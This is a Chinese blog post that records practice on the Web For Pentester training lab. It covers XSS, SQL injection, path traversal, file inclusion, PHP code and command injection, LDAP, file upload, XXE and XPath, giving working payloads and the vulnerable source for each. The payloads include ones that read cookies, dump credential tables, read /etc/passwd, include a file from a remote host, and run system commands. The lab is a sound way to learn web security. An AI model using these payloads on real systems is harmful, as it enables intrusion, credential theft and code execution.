ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

[NOTE] Web For Pentester靶场练习笔记

2022-01-08 20:58:38  阅读:171  来源: 互联网

标签:Web name GET Pentester Example NOTE 源码 php id


[NOTE] Web For Pentester靶场练习笔记

文章目录

前言

搞完XVWA之后

环境
hacker: Kali Linux | 192.168.10.1/10.10.10.1
server: Debian 6 | 192.168.10.xxx (dynamic)

想着搞完这个Web靶场就暂时歇一歇
不搞这种专门的列一大堆的Web漏洞的靶场了
后面搞CMS,以及一些sqli和upload的专项训练,还有练练渗透

所以这个靶场更多地面向源码一些
先黑盒,做不做得出最后都看看代码分析一下

也会看看官方给的教程文档,看看有没有别的什么值得学习的地方

此外也借鉴整理了国光大神的博客

Web基础

就是对官方教程前面的部分进行简单看看,记些不太熟或不懂的

Web安全的根基:don’t trust the client

Web服务端可以进一步划分不同的层次,并面临不同的安全问题:

  • Web服务器,如Apache、lighttpd、Nginx、IIS等
  • 应用服务器,如Tomcat、Jboss、Oracle Application server等
  • 编程语言,如PHP、Java、Ruby、Python、ASP、C#等
    这些编程语言也可以被用作框架的一部分,如Ruby-on-Rails、.Net MVC、Django等

同一个Web应用可能会同时使用多个或多种后端存储
例如使用==LDAP==存储用户及其凭证,而使用Oracle存储信息

GETHEAD的区别仅体现在服务器的响应上:
GET的返回可以包含返回体
HEAD的返回体仅有headers,而没有body

还有别的方法如PUTDELETEOPTION
以前倒是了解过RESTful架构,简单写了下笔记

有些请求参数看起来像是这样:
/index.php?user[name]=louis&user[group]=1
一些框架会把它映射到user对象中,用来查找指定属性符合的对象
有时候这种使用方法若防御不当,则会导致名为“mass-assignment”的风险
(简单了解下,这个好像是涉及到Ruby-on-Rails框架,后面有机会再了解下

  • X-Forwarded-For头的作用:获取源IP地址
  • Host头,在一些多站点服务器上,服务器用于“virtual-hosting”(同IP多域名)
    这里很多时候是一个安全点,如输入IP地址啥的

418响应码:I’m a teapot

double encoding:双重编码有时可能有点用,URL啥的

关于返回包里的Set-Cookie字段,包含了一些信息:

  • 有效期:告诉浏览器什么时候删除这个cookie
  • Domain:告诉浏览器把这个cookie发往哪一个子域名或主机名
  • Path:告知浏览器把这个cookie发往哪一个路径
  • 安全标志:如httpOnlysecure

cookie与session:一个存储在客户端,一个存储在服务端

PHP的session管理

PHP在Debian里面是无加密存储sessionid的,如/var/lib/php5
假如一个sessionid是o8d7lr4p16d9gec7ofkdbnhm93
那么对应的文件就是sess_o8d7lr4p16d9gec7ofkdbnhm93,里面有关于这个session的完整信息

HTTP认证

HTTP协议中自带以下的认证方法:

  • Basic:通过Authorization头指定,用户名和密码经BASE64编码后发送给服务器

  • Digest:服务端发送挑战,客户端将挑战连同密码作哈希后发往服务器

  • NTLM:多在Microsoft里面使用,和Digest差不多

Web应用指纹识别

  • server的名称和版本

  • 后端有无使用应用服务器

  • 后端数据库

  • 反向代理的使用?

  • 负载平衡

  • 编程语言

有时候以.jsp.do为后缀的页面文件很可能是Java语言写的
(虽然也有可能是混淆)

有时候页面旁边的小图标也能暴露服务器banner信息
只要网站管理员没改的话

robots.txt文件有时候可以暴露框架和应用

有时候一些CMS或应用的文档,可能暴露管理员页面

XSS

关于XSS漏洞具体的利用场景,可以看看我之前在Pikachu靶场的练习笔记
下面的练习,就简单弹个窗什么的…

Example 1

最最最最最最最最最最基本的XSS,乱X

源码就是直接echo参数

Example 2

过滤了<script>,大小写混拼可绕过

源码:preg_replace正则匹配替换<script></script>
双拼、大小写绕过都可以

Example 3

img标签可绕过:
?name=<img src="e" one rror=alert("XSS") />

源码:preg_replace正则匹配<script></script>,不区分大小写
双拼可绕过

Example 4

img标签可绕过

源码:preg_match('/script/i', $_GET["name"])
正则匹配“script”,不区分大小写,匹配到就报“error”

Example 5

很奇怪,过滤alert
写cookie在页面上的payload:
<script>document.write(document.cookie)</script>

源码还真是正则匹配不区分大小写的alert,匹配到就报错
why?


行吧,原来题目要求我们就要弹窗

那就结合eval函数和String.fromCharCode函数
后者将alert("XSS")的ascii码转成字符,再拼接成字符串
前者将字符串当作代码执行

payload1:
<script>eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 88, 83, 83, 34, 41))</script>

payload2:
<img src="e" one rror="eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 88, 83, 83, 34, 41));" />

另外两个弹窗函数,都可以回显cookie:

  • confirm:弹出确认框
  • prompt:弹出输入框

Example 6

这次输什么都不会回显了

源码:

Hello 
<script>
	var $a= "<?php  echo $_GET["name"]; ?>";
</script>

也就是说,输入被拼接到了字符串中,被当作变量保存
然后没有任何回显

这种是属于盲注的情况?

输入的参数要主动闭合上双引号,然后形成完整的JS语句
payload:";alert("XSS")//
变成:var $a= "<?php echo "; alert("XSS")//; ?>"

这个比较难想到?
思路是,不管什么东西,都试试单/双引号主动闭合看看

Example 7

源码:

Hello 
<script>
	var $a= '<?php  echo htmlentities($_GET["name"]); ?>';
</script>

使用htmlentities函数将HTML特殊字符转义成HTML实体
但是这个函数默认不转义',除非加上ENT_QUOTES参数

所以主动闭合,payload:';alert('XSS');//

Example 8

换成了一个输入框,POST提交参数,然后回显
但是这次好像怎么注都不太行

源码:

echo "HELLO ".htmlentities($_POST["name"]);

这次的输入框不存在XSS问题了,因为输入都得到了正确的转义

但是问题出在form表单的构造:

<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">
  Your name:<input type="text" name="name" />
  <input type="submit" name="submit"/>

上面使用了$_SERVER['PHP_SELF']这个变量,指代的是当前执行脚本的文件名
不当使用该变量也可能导致XSS问题

在这一题中,根据URL该值应该是/xss/example8.php
但是攻击者可以通过修改URL从而达到XSS的目的

根据上述,可以给出以下payload:
http://192.168.10.136/xss/example8.php/"></from><script>alert(document.cookie)</script>
这样一来表单就会变成:

<form action=""></from><script>alert(document.cookie)</script>" method="POST">
  Your name:<input type="text" name="name" />
  <input type="submit" name="submit"/>

嵌入了script标签,从而执行恶意代码

但是从页面元素来看,表单结构显示的是<form action="/xss/example8.php" method="POST">
这我怎么知道这里是写死的还是代码生成的呢?只能白盒?

总之,学习到$_SERVER['PHP_SELF']这个变量是指示当前执行脚本的文件名
一定程度上反映自URL,而URL是用户可控的

Example 9

这次是基于DOM型的XSS,源码:

<script>
  document.write(location.hash.substring(1));
</script>

意思是将URL锚点#后面的字符串写在页面上
理论上这里写XSS的payload就好

但是有一个问题,目前我的浏览器会自动URL编码
所以最后写在页面上的是编码后的payload:
在这里插入图片描述

形成不了弹窗的效果

bp、curl这俩工具捕获不到后面动态生成页面的过程
那咋办
换成HTML编码那就更不行了

一个思路就是看看能不能关掉浏览器的自动URL编码功能

SQL injections

Example 1

GET一个name参数,传入用户名,然后返回信息

传入不存在的用户名也会显示属性栏
但是传入'则会什么都没有,类似于页面出现错误
说明可能是单引号字符型注入

验证注入的payload:?name=' or 1=1 %23

判断回显字段为5:?name=root' order by 5%23

观察回显位置:' union select 1,2,3,4,5 %23

爆库:?name=' union select database(),2,3,4,5 %23

爆表:?name=' union select group_concat(table_name),2,3,4,5 from information_schema.tables where table_schema=database() %23

爆列:?name=' union select group_concat(column_name),2,3,4,5 from information_schema.columns where table_schema=database() and table_name='users' %23

爆数据:?name=' union select group_concat(id),group_concat(name),group_concat(passwd),4,5 from users %23


源码:

$sql = "SELECT * FROM users where name='";
$sql .= $_GET["name"]."'";	

最简单的SQLi

Example 2

情景和上题一样

测试全注:' or 1=1 %23
但是回显“ERROR NO SPACE”
说明检测到了空格,从而报错

那就换成注释符/**/作为分隔符
判断回显字段:?name='/**/union/**/select/**/1,2,3,4,5/**/%23

中间过程省略,最后爆数据:?name='/**/union/**/select/**/group_concat(id),group_concat(name),group_concat(passwd),4,5/**/from/**/users/**/%23


源码:

if (preg_match('/ /', $_GET["name"])) {
	die("ERROR NO SPACE");	
}
$sql = "SELECT * FROM users where name='";
$sql .= $_GET["name"]."'";

正则匹配到有空格就报错,换成注释符/**/可绕过

Example 3

和上题没什么区别?也是过滤空格?

最后爆数据的payload:?name='/**/union/**/select/**/group_concat(id),group_concat(name),group_concat(passwd),4,5/**/from/**/users/**/%23


源码:

if (preg_match('/\s+/', $_GET["name"])) {
	die("ERROR NO SPACE");	
}
$sql = "SELECT * FROM users where name='";
$sql .= $_GET["name"]."'";

原来是过滤掉所有空白字符,但是没有考虑注释符
所以上一题的绕过方法还能用

Example 4

参数从name变成了id,说明可能是数字型注入
一试,果然:?id=999 or 1=1 %23

剩下的就是最简单的数字型注入,主要是?id=999 union select ...


源码:

$sql="SELECT * FROM users where id=";
$sql.=mysql_real_escape_string($_GET["id"])." ";

乱注

Example 5

和上题没什么区别?


源码:

if (!preg_match('/^[0-9]+/', $_GET["id"])) {
	die("ERROR INTEGER REQUIRED");	
}
$sql = "SELECT * FROM users where id=";
$sql .= $_GET["id"] ;

好像是匹配不到整数就报错,但是为什么这个payload能够通过?
?id=999 union select 1,2,3,4,5 %23

测了下,好像这个函数preg_match捕获到第一个符合条件的就返回,就不管后面的内容了,所以上面匹配到999之后,就通过检查了,但是会把所有payload都传递给$id

官方文档也是这样说的:

**preg_match()返回 pattern 的匹配次数。 它的值将是0次(不匹配)或1次,因为preg_match()**在第一次匹配后 将会停止搜索。

Example 6

这次输入?id=999 union select 1,2,3,4,5 %23
也会报“ERROR INTEGER REQUIRED”


源码:

if (!preg_match('/[0-9]+$/', $_GET["id"])) {
	die("ERROR INTEGER REQUIRED");	
}
$sql = "SELECT * FROM users where id=";
$sql .= $_GET["id"] ;

原来是要参数id最后匹配数字,前面不管
那么后面的注释符#都不同了哈哈

全注的payload:?id=55 or 1=1 or 99

判断回显字段数:?id=1 order by 5

判断回显字段:?id=999 union select 1,2,3,4,5

爆库:?id=999 union select database(),2,3,4,5

爆表和爆列最后面的where语句判断,需要最后面加个 and 1来绕过检查

爆表:?id=999 union select group_concat(table_name),2,3,4,5 from information_schema.tables where table_schema=database() and 1

爆列:?id=999 union select group_concat(column_name),2,3,4,5 from information_schema.columns where table_schema=database() and table_name='users' and 1

爆数据最后面加个where 1就行

爆数据:?id=999 union select group_concat(id),group_concat(name),group_concat(passwd),4,5 from users where 1

Example 7

这次看起来限制的比较死,哪里有非数字字符好像都不行


源码:

if (!preg_match('/^-?[0-9]+$/m', $_GET["id"])) {
	die("ERROR INTEGER REQUIRED");	
}
$sql = "SELECT * FROM users where id=";
$sql .= $_GET["id"];

id参数从头匹配到尾~~(还是全行匹配)~~,若不是整数,则报错
那咋办,查攻略

正则匹配的修饰符/m,意思是多行模式
即会逐行匹配,而不是匹配整个字符串的开头和结尾

加上preg_match只匹配一次的特性
就可以这样构造payload:123\nPAYLOAD

但是不管我怎样搞,都会显示“ERROR INTEGER REQUIRED”
URL编码后也不行

则么会是?

Example 8

这一次比较奇怪,参数变成了order
一开始是?order=name,怀疑是将查询结果按“name”属性排列
改成“id”或“age”,也按对应属性顺序排列了

猜测后端代码如:select * from table order by '$_GET['name']'

然后就不会了


源码:

$sql = "SELECT * FROM users ORDER BY `";
$sql .= mysql_real_escape_string($_GET["order"])."`";

需要说明一点的是
MySQL里面的order by后面跟的排列字段只有以下两种形式:

  • 直接跟列名:order by name
  • 反点之间的列名:order by `name`

所以之前猜测的使用单引号是不对的

此外源码里面还使用了mysql_real_escape_string函数,单双引号、回车制表、反斜杠以及\x00等都会被转义
就是没有转义“`”

这里还要结合一下order by可以多字段排列的特点
以及使用case-when-then-else-end句式

示例payload:?order=id`, (case when (1=2) then `name` else `age` end) %23
首先是主动闭合,先将查询结果按id字段排列
后面的句式是关键,when里面添加判断语句
为真则进一步按name字段排列,否则按age字段排列

when里面可以替换成别的判断
返回结果会根据真假是否成立从而形成不同的显示结果
从而形成盲注的效果

遗憾的是,这里的数据库每个字段都是不一样的
所以找不出不同判断结果会有的不一样的地方

Example 9

源码:

$sql = "SELECT * FROM users ORDER BY ";
$sql .= mysql_real_escape_string($_GET["order"]);

和上题类似,只不过是使用了order by的另一种字段使用方法:直接拼接

由于不用使用“`”去主动闭合,可以做到只用一个字段排列
返回结果能够根据when的判断结果而不一样了
真正做到了盲注


下面的盲注过程只是简单写写,不写完整过程(手工盲注也太累了吧)

判断出数据库名长度为9:
?order=(case when (length(database())=9) then `id` else `age` end)

判断出第一个表名长度为5:
?order=(case when (length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=5) then `id` else `age` end)

判断出第一个表名的第一个字符的ascii码为117:
?order=(case when (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=117) then `id` else `age` end)
(不能用字符直接判断,因为使用了mysql_real_escape_string函数)

后面算了,sqlmap跑跑看
sqlmap能注是能注,但它用的是时间盲注,效率有点慢
加上我的靶场环境配置,攻击者和靶机之间的通信有时会卡住,就很慢
不过sqlmap的容错做的是真的不错,会自动根据实际情况调整时延上限
牛逼牛逼

是不是要把靶机的处理器和内存都配置得大一点?

Directory traversal

奇怪的是,为什么主页上没有超链接,而是这么一个icon?

在这里插入图片描述

直接抄家,翻源码找到对应练习页面:
http://192.168.10.XXX/dirtrav/exampleX.php


此外官网的指引中给出了一个路径穿越漏洞的一般测试步骤:

  • images/./photo.jpg:能看到同一文件
  • images/../photo.jpg:报错
  • images/../images/photo.jpg:能看到同一文件
  • images/../IMAGES/photo.jpg:报错(却决于目标系统是否对路径大小写敏感)

此外../的数量过多的话一般来说也是没有问题的

Example 1

有一个GET参数file承接一个文件名
然后就可以../../../../../../../etc/passwd


此外官网指引提到
要是包含一个返回头Content-Disposition: attachment
浏览器是不会直接显示文件的
而可以通过打开文件来查看内容

例如可以使用wget命令来路径穿越下载文件:
wget -O - 'http://vulnerable/dirtrav/example1.php?file=../../../../../../../etc/passwd'

Example 2

上一个练习的payload不能用了

相关源码:

$file = $_GET['file'];
if (!(strstr($file,"/var/www/files/")))
	die();

strstr函数:strstr(string $haystack, mixed $needle)
返回haystack字符串从needle第一次出现的位置开始到haystack结尾的字符串
例如strstr('name@xxx.com', '@')返回@xxx.com

so the payload:?file=/var/www/files/../../../../../../etc/passwd

大概有点像判断参数里一定要包含合法值的意思

Example 3

上面的两个payload都不好使

相关源码:

$path = $UploadDir . $file.".png";
$path = preg_replace('/\x00.*/',"",$path);

原来是给传入参数添加上了后缀
然而这种防范很容易绕过——利用00截断
一般在Perl和老版本的PHP语言中很管用
PHP 5.3.4及以上版本修复此问题)

所以payload:?file=../../../../../../etc/passwd%00


关于00截断:具体是指老版本PHP等语言,在读取文件名是,如遇0x00,则会认为读取已结束

具体是null字符,在URL编码中为%00

File Include

这里是包含php文件,一般情况下涉及到下列函数:

  • require
  • require_once
  • include
  • include_once

一般结合文件上传漏洞打组合拳,官方给了一个用于远程包含的php文件:
https://assets.pentesterlab.com/test_include.txt
就是简单的php探针

Example 1

page参数接一个php文件,那试试直接上上面的payload
然就发现寄了,因为靶机是内网环境,整不了外网脚本

那就在攻击机里整探针试试:http://192.168.10.1/hack.php
但是信息是攻击机的

另外如果构造错误输入可以爆出一些有用信息:
Warning: include(http://192.168.10.1/hack.php'): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /var/www/fileincl/example1.php on line 7 Warning: include(): Failed opening 'http://192.168.10.1/hack.php'' for inclusion (include_path='.:/usr/share/php:/usr/share/pear') in /var/www/fileincl/example1.php on line 7

Example 2

page参数后面这次没有.php后缀了,后端会自动加上

看了看源码,绕过方法是低版本php的00截断

Code injection

谈到php里有个系统代码执行函数system
然后php的行注释符是//

php里代码拼接是.

Example 1

name参数,输入"得报错信息:
Parse error: syntax error, unexpected '!', expecting ',' or ';' in /var/www/codeexec/example1.php(6) : eval()'d code on line 1
得知使用的是eval函数

看眼源码:

$str="echo \"Hello ".$_GET['name']."!!!\";";
eval($str);

如果输入try".",那么$str就会变成这样:
$str="echo \"Hello try" . "!!!\";";

抽出字符串本身来看,就是这个样子:
echo "Hello {我们注入的代码} !!!";

所以一个探针peyload就是:?name=";phpinfo();$a="
命令变成:echo "Hello ";phpinfo();$a=" !!!";

也可以放到php代码层进行绕过:
?name=".phpinfo();//
拼接变成:$str="echo \"Hello ".phpinfo();//!!!\";";
(这里不是很懂拼接的双引号问题)

或者使用${${code}}嗯插代码:
?name=${${phpinfo()}}

如果想执行系统命令而不是php函数,则使用system函数:
?name=".system('uname -a'); $dummy="
变成:$str="echo \"Hello ".system('uname -a'); $dummy="!!!\";";
(不是很懂拼接的双引号问题)


感觉还是得学习一波php语言

Example 2

变成了一个表格,order参数传入排序的列名

单引号所引发的报错:
Parse error: syntax error, unexpected T_CONSTANT_ENCAPSED_STRING, expecting T_STRING or T_VARIABLE or '{' or '$' in /var/www/codeexec/example2.php(22) : runtime-created function on line 1 Warning: usort() expects parameter 2 to be a valid callback, no array or string given in /var/www/codeexec/example2.php on line 22

不知道是啥代码捏


开发者使用排序时可能会使用以下方法:

  • order by——SQL请求
  • usort——PHP代码

usort函数经常使用create_function函数去动态生成排序函数

本题的关键代码:

if (isset($order)) {
	usort($users, create_function('$a, $b', 'return strcmp($a->'.$order.',$b->'.$order.');'));
}

usort(array, myfunction)
使用用户自定义的比较函数对数组中的元素进行排序
array:要排序的数组
myfunction:用于比较函数的字符串

create_function(string $args, string $code)
创建匿名函数
args:lambda函数的变量部分
code:lambda函数的实现

例如create_function('$fname','echo $fname."welcome"')
等价于:

function fT($fname) {
  echo $fname."welcome";
}

不能说是等价,实际上就是按这个模式进行创建的
所以注入时需要考虑主动闭合花括号,使用}


所以看回代码:
usort($users, create_function('$a, $b', 'return strcmp($a->'.$order.',$b->'.$order.');'));
关键就是参数order,看看怎么主动闭合形成代码注入

一步步试:
?order=id;}//
?order=id);}//
?order=id));}//

上面只有中间那个不会报语法错误(error),只是警告(warning)
所以只需在}后面跟上我们要注入的代码即可

所以当注入这个:id);}phpinfo();//
就会变成:

create_function('$a, $b', 'return strcmp($a->id);}phpinfo();//,$b->id);}phpinfo();//')

function fT($a, $b) {return strcmp($a->id);}phpinfo();//,$b->id);}phpinfo();//;}

usort函数使用上面的匿名函数字符串,所以最后会执行一遍phpinfo

有点难,得学PHP

Example 3

一大堆参数WTF:?new=hacker&pattern=/lamer/&base=Hello lamer
然后页面只是回显个“Hello hacker”

源码:

echo preg_replace($_GET["pattern"], $_GET["new"], $_GET["base"]);

大概是把base里面正则匹配的pattern替换成new的意思


说到preg_replace函数,有一个很危险的选项PCRE_REPLACE_EVAL/e
会导致preg_replace函数会把替换后的新字符串当作PHP代码去执行

PCRE_REPLACE_EVAL has been deprecated as of PHP 5.5.0
后面用preg_replace_callback代替

所以只需要在传入的模式中加上/e模式
就可以把替换后的结果当作PHP代码执行

所以payload:?new=phpinfo()&pattern=/lamer/e&base=Hello lamer

Example 4

又变回来了,name参数,回显到页面上

引号引起的报错:Parse error: syntax error, unexpected T_ENCAPSED_AND_WHITESPACE in /var/www/codeexec/example4.php(4) : assert code on line 1 Catchable fatal error: assert(): Failure evaluating code: ''' in /var/www/codeexec/example4.php on line 4

估计和assert函数有关


源码:

assert(trim("'".$_GET['name']."'"));
echo "Hello ".htmlentities($_GET['name']);

trim:移除字符串两边的空白字符或预定义字符
assertPHP5可以执行代码

所以主要就是构造闭合,执行想要的代码
和Example 1差不多

有三种闭合方式:
注释掉后面的引号:?name='.phpinfo();//
也闭合后面引号:'.phpinfo().'
直接${${code}}插入代码:'.${${phpinfo()}}.'

Commands injection

上面是代码注入,这里是命令注入,有点区别

此外Linux里面有个机制,就是反引号里面的字符串会被当成命令先执行
例如“echo `whoami`”会输出当前用户名

Example 1

ip参数后面跟个IP地址,然后给出ping的结果

好像很明显?直接分号接命令就ok:?ip=127.0.0.1;whoami

源码:
system("ping -c 2 ".$_GET['ip']);

Example 2

?ip=127.0.0.1;whoami直接报“Invalid IP address”

源码:

if (!(preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}.\d{1,3}$/m', $_GET['ip']))) {
	die("Invalid IP address");
}
system("ping -c 2 ".$_GET['ip']);

正则匹配限定参数必须有ip地址形式的字符串
但是是多行模式匹配,加上preg_match函数只会匹配一次的特点
所以可以使用换行符(URL编码)来分隔正常的输入和恶意命令:
?ip=127.0.0.1%0Awhoami

Example 3

发现输入?ip=127.0.0.1;whoami会跳转回ping 127.0.0.1的页面

抓包一看发现只是重定向而已,原来的包还是会返回恶意代码执行的结果

LDAP attacks

LDAP(Lightweight Directory Access Protocol),轻量目录访问协议

可以把他和数据库类比,LDAP是一个为查询、浏览、搜索而优化的专业分布式数据库,它成树状结构组织数据,就好像 Linux/Unix系统中的文件目录一样。

目录数据库和关系数据库不同,它有优异的读性能,但写性能差,并且没有事务处理、回滚等复杂功能,不适于存储修改频繁的数据。

所以 LDAP天生是用来查询的。

Example 1

用于认证的两个参数usernamepassword
一开始有初值:?username=hacker&password=hacker
但是回显“NOT AUTHENTICATED”

但是把所有参数都删除,就会显示“AUTHENTICATED”,认证成功了


一些LDAP服务器允许NULL绑定:如果NULL值被传输,则LDAP服务器会尝试绑定连接,而PHP代码会认为这种认证是合法的

源码:

$ld = ldap_connect("localhost") or die("Could not connect to LDAP server");
ldap_set_option($ld, LDAP_OPT_PROTOCOL_VERSION, 3); 
ldap_set_option($ld, LDAP_OPT_REFERRALS, 0);
if ($ld) {
	if (isset($_GET["username"])) { 
		$user = "uid=".$_GET["username"]."ou=people,dc=pentesterlab,dc=com";
	}
	$lb = @ldap_bind($ld, $user,$_GET["password"]);
	
    if ($lb) {
    	echo "AUTHENTICATED";
    }
    else {
    	echo "NOT AUTHENTICATED";
    }
}

抽出漏洞原因,估计是下面这个:

$lb = @ldap_bind($ld, $user,$_GET["password"]);
if ($lb) {
	echo "AUTHENTICATED";
}

由于ldap_bind继续尝试绑定连接,所以$lb不为NULL,所以通过下方认证判定
这是一种编码失误,其他认证过程也要注意类似的问题

Example 2

默认参数:?name=hacker&password=hacker
回显“AUTHENTICATED as hacker”

删除所有参数,回显:
Notice: Undefined index: password in /var/www/ldap/example2.php on line 9 Notice: Undefined index: name in /var/www/ldap/example2.php on line 10 UNAUTHENTICATED


这部分类似于MySQL注入,需要先学习LDAP的基本知识

主要还是要理解一些LDAP语法,以及运用到了PHP的00截断
达到了类似sqli万能密码的效果

File Upload

Example 1

好像是直接传的意思

准备一句话,蚁剑连


源码:

<?php
if(isset($_FILES['image'])) { 
	$dir = '/var/www/upload/images/';
	$file = basename($_FILES['image']['name']);
	if(move_uploaded_file($_FILES['image']['tmp_name'], $dir. $file)) {
		echo "Upload done";
		echo "Your file can be found <a href=\"/upload/images/".htmlentities($file)."\">here</a>";
	} else { 
		echo 'Upload failed';
	}
}
?>

<form method="POST" action="example1.php" enctype="multipart/form-data">	
Mon image : <input type="file" name="image"><br/>
<input type="submit" name="send" value="Send file">
</form> 

没有任何防护措施

Example 2

直接上传一句话显示“NO PHP”

试了试00截断,发现不太行

源码:

$file = basename($_FILES['image']['name']);
if (preg_match('/\.php$/',$file)) {
	DIE("NO PHP");
}

可能是因为是后端PHP进行后缀检查而不是前端,所以00截断在检查之前就已经生效,所以检测的文件名确实是以.php结尾的,所以通不过检查

大小写混拼后缀.pHp可绕过

另外蚁剑那里有个连接类型为“PHP4”也可以考虑一下


官网提到的几种绕过方法:

  • 使用.php3.php4或者是.php5后缀,一些服务器说不定还支持
  • .php后面使用一个Apache识别不了的后缀(例如.fuckyou),Apache识别不了可能会尝试识别下一个后缀(但问题是蚁剑也识别不了啊,可能和使用的工具有关)

XML attacks

Example 1

原始参数:?xml=<test>hacker</test>
盲猜是XXE

试试payload:?xml=<!DOCTYPE any[<!ENTITY js SYSTEM "file:///etc/passwd">]><test>&js;</test>

结果回显:
“Hello Warning: simplexml_load_string(): Entity: line 1: parser error : Premature end of data in tag test line 1 in /var/www/xml/example1.php on line 4 Warning: simplexml_load_string(): ]> in /var/www/xml/example1.php on line 4 Warning: simplexml_load_string(): ^ in /var/www/xml/example1.php on line 4 ”

哦哦,原来是GET传递参数,所以要URL编码(涉及到了&等字符)
编码一下就好


源码:

$xml=simplexml_load_string($_GET['xml']);
print_r((string)$xml);

涉及到一个simplexml_load_string函数可以看看

Example 2

参数变成了?name=hacker
可能是XPath注入

果然是
先复习一下XPath的知识


输入一个',报错误了

输入",没有报错,没有回显,可能是单引号闭合变量

前后主动闭合,看看能不能爆出所有值:?name=']|//*|ss['
回显:“hackerHello hackerpentesterlabadminHello admins3cr3tP4ssw0rd ”

虽然是所有都爆出来了,但是没有分隔符,啥是啥也不知道

也可以00截断,?name=' or 1=1]%00,也是永真条件
但是只能查询当前层次的所有节点

另外了解到另外一种全注的payload:
?name=' or 1=1]/parent::*/child::node()%00
其中parent::*用于选择当前节点的所有父节点
child::node()用于选择所有子节点


源查询代码:$xpath = "users/user/name[.='".$_GET['name']."']/parent::*/message";

剩下倒是可以盲注,但是有时候也可以直接猜
因为全注的字段有些看起来像是密码
所以可以试试猜原XML里有password节点,并把他们注出来:?name=']|//password%00
回显:“pentesterlabs3cr3tP4ssw0rd”
类似的还有user、name等常见字段也可以试试
虽然都没有分隔

简单盲注:

判断第一个节点的名字的第一个字符是‘d’:
?name=hacker' and substring(name(/*[position()=1]),1,1)='d' and '1'='1

判断第一个节点名字是“data”:
?name=hacker' and name(/*[position()=1])='data' and '1'='1

下略BLABLABLA

标签:Web,name,GET,Pentester,Example,NOTE,源码,php,id
来源: https://blog.csdn.net/qq_43266093/article/details/122386159

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有